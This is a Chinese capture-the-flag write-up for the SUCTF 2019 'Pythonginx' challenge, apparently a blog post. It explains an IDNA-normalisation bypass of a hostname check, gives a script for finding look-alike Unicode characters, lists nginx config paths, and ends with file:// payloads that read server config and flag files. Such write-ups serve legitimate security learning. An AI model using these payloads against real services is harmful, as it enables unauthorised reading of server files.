首页 > 系统相关 >[SUCTF 2019]Pythonginx

[SUCTF 2019]Pythonginx

时间:2023-06-27 16:13:49浏览次数:40  
标签:SUCTF suctf cc nginx host 2019 url Pythonginx usr

源码:

 @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url") #获取url
    host = parse.urlparse(url).hostname #获取主机名例如:http://www.baidu.com/index.php?a=111 会读取到www.baidu.com
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url)) #提取url中的各个字段
    host = parts[1] #获取主机名即域名
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))#先idna编码再utf8解码
    parts[1] = '.'.join(newhost) #组合成域名
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname #获取主机名
    if host == 'suctf.cc': #判断是否为suctf.cc
        return urllib.request.urlopen(finalUrl).read() #读取finalUrl
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? --> 

关键点在于:

 for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))#先idna编码再utf8解码

简单分析一下这段代码的功能:要你传入一个url,这个url的host不能是suctf.cc,但是经过编码转换后域名又得是suctf.cc,

idna编码对一些非英文字符进行编码,如阿拉伯语、中文、斯拉夫语等,他先用idna编码后用utf-8解码,这样解码出来的字符不知道是什么字符。

思路就是把suctf.cc中的某个字符换成其他语言字符,写一个脚本找其他国家语言字符

脚本:

s='suctf.cc'
for i in range(128,65537):
    tmp=chr(i)   //chr()函数返回ascii码(数字)对应的字符
    try:
        res = tmp.encode('idna').decode('utf-8')
        if res in s:
            print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

 

小知识(nginx的配置文件):

配置文件存放目录:/etc/nginx

主配置文件:使用wget安装的在/etc/nginx/conf/nginx.conf
使用 yum 安装,源码安装的配置文件在 /usr/local/nginx/conf
管理脚本:/usr/lib64/systemd/system/nginx.service

模块:/usr/lisb64/nginx/modules

应用程序:/usr/sbin/nginx

程序默认存放位置:/usr/share/nginx/html

日志默认存放位置:/var/log/nginx

 

payload:

file://ſuctf.cc/usr/local/nginx/conf/nginx.conf

file://ſuctf.cc/usr/fffffflag

 


 

标签:SUCTF,suctf,cc,nginx,host,2019,url,Pythonginx,usr
From: https://www.cnblogs.com/hackerone/p/17509147.html

相关文章

  • P5372 SNOI2019 积木
    P5372SNOI2019积木不难想到图论建模(也没啥别的思路了),考虑用一张图刻画网格板上的任意一种状态:图有\(n\timesm\)个点,形成点阵,和网格板对应。网格板上,一个积木对应一条边,积木占据的两个格子,对应这条边连接的两个点。比如第一个样例中,起始时的网格板状态:33nnnuuuo<>......
  • windows server 2019系统-串口设备导致鼠标乱跳的问题
    问题描述:最近在预装有windows7SP1系统的工控机上,开发了一款modbus数据监听、处理的应用程序。主要功能就是监听485线上modbus通信数据,处理数据,并上报到中心平台,485数据通过USB串口转485信号转换模块获取。调试过程中发现,工控机在接入被监听485信号的情况下启动,进入系统之后,采......
  • OpenGL 环境搭建(VS2019)
    1.GLFW下载:https://sourceforge.net/projects/glfw/官网:https://www.glfw.org/download.html(可能登录不了)下载后解压glfw-3.3.8.bin.WIN32.zip将include和lib-vc2019配置到VS的工程内需要的lib:openGL32.lib ---不要忘了glfw3.lib测试代码:#include<GLFW/glfw3.......
  • sqlserver 2019安装
    选择"NewSQLServerstand-aloneinstallation"更新选项,跟windows的​更新服务有关:安装类型,选择全新安装:输入密钥,这里需要注意输入的密钥的类型:选择需要的组件: 配置命名实例:·不要使用具有管理员权限的账号作为服务账号·本地系统账号(NTService,NTAuthority)......
  • MIT-医疗机器学习2019-课程推荐
    课程介绍    本课程向学生介绍医疗保健中的机器学习,包括临床数据的性质以及将机器学习用于风险分层,疾病进展建模,精密医学,诊断,亚型发现和改善临床工作流程的用途。主题包括因果关系,可解释性,算法公平性,时间序列分析,图形模型,深度学习和迁移学习。来自波士顿地区的临床医生的客座讲......
  • 斯坦福大学新课CS224W-2019-图网络机器学习算法-视频及ppt资源分享
    课程内容介绍   网络是建模复杂的社会,技术和生物系统的基本工具。结合在线社交网络的出现和生物科学中大规模数据的可用性,本课程着重分析大型网络,这些大型网络提出了一些计算,算法和建模方面的挑战。通过学习他们的底层网络结构和连接关系,向学生介绍了机器学习技术和数据挖掘工......
  • P5391 [Cnoi2019]青染之心
    P5391[Cnoi2019]青染之心洛谷:P5391[Cnoi2019]青染之心Solution把每次(add)询问看成一个节点,原问题相当于以dfs序给定一棵树,对每个节点求其到根的一条链上做一遍完全背包的答案。考虑直接树形转移,时间复杂度为\(O(qV)\),可以接受。但空间复杂度就不行了。最无脑的dp设计就......
  • 如何通过DNS和AAM为SharePoint Server 2019 配置host name
    Blog链接:https://blog.51cto.com/13969817Host-NamedSiteCollections是在SharePointServer中部署网站的首选方法,它允许WebFrontEnd在同一IP地址和端口组合上承载多个网站。如果传入的HTTP请求包含hostheader名称,并且IIS中配置了匹配的hostheader,则IIS将使用相应网站的内容进......
  • VS2019调用Matlab2019b生成的dll时初始化异常
    在VisualStudio中使用C++调用Matlab程序我目前在写一个用VS和Matlab混编的程序,由于之前的版本(VS2005+MATLAB2010b)太老了,现在想换用VS2019+MATLAB2019b的版本。我原本以为会很简单就能完成配置,没想到在运行时会出现下面的问题。(帧不在模块中。在加载的模块中未找到当前堆栈帧。无......
  • CCF_201912-1 报数(C++_模拟)
    思路代码可能写的有点啰嗦冗余,写的时候有点急写完一节就直接复制粘贴了蛤蛤蛤,所以导致中间有些代码比较重复。Code#include<bits/stdc++.h>//模拟usingnamespacestd;intn,sum=0,a,b,c,d;booljudge(ints){ inttemp=s; if(temp%7==0) return0; while......